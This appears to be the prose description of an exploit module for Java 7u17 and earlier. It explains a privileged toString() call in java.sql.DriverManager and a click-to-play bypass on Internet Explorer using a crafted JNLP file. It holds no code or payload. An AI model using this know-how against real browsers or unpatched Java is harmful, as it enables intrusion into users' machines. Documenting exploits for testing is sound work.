          This module abuses the java.sql.DriverManager class where the toString() method
          is called over user supplied classes from a doPrivileged block. The vulnerability
          affects Java version 7u17 and earlier. This exploit bypasses click-to-play on Internet Explorer
          and throws a specially crafted JNLP file. This bypass is applicable mainly to IE, where Java
          Web Start can be launched automatically through the ActiveX control. Otherwise, the
          applet is launched without click-to-play bypass.
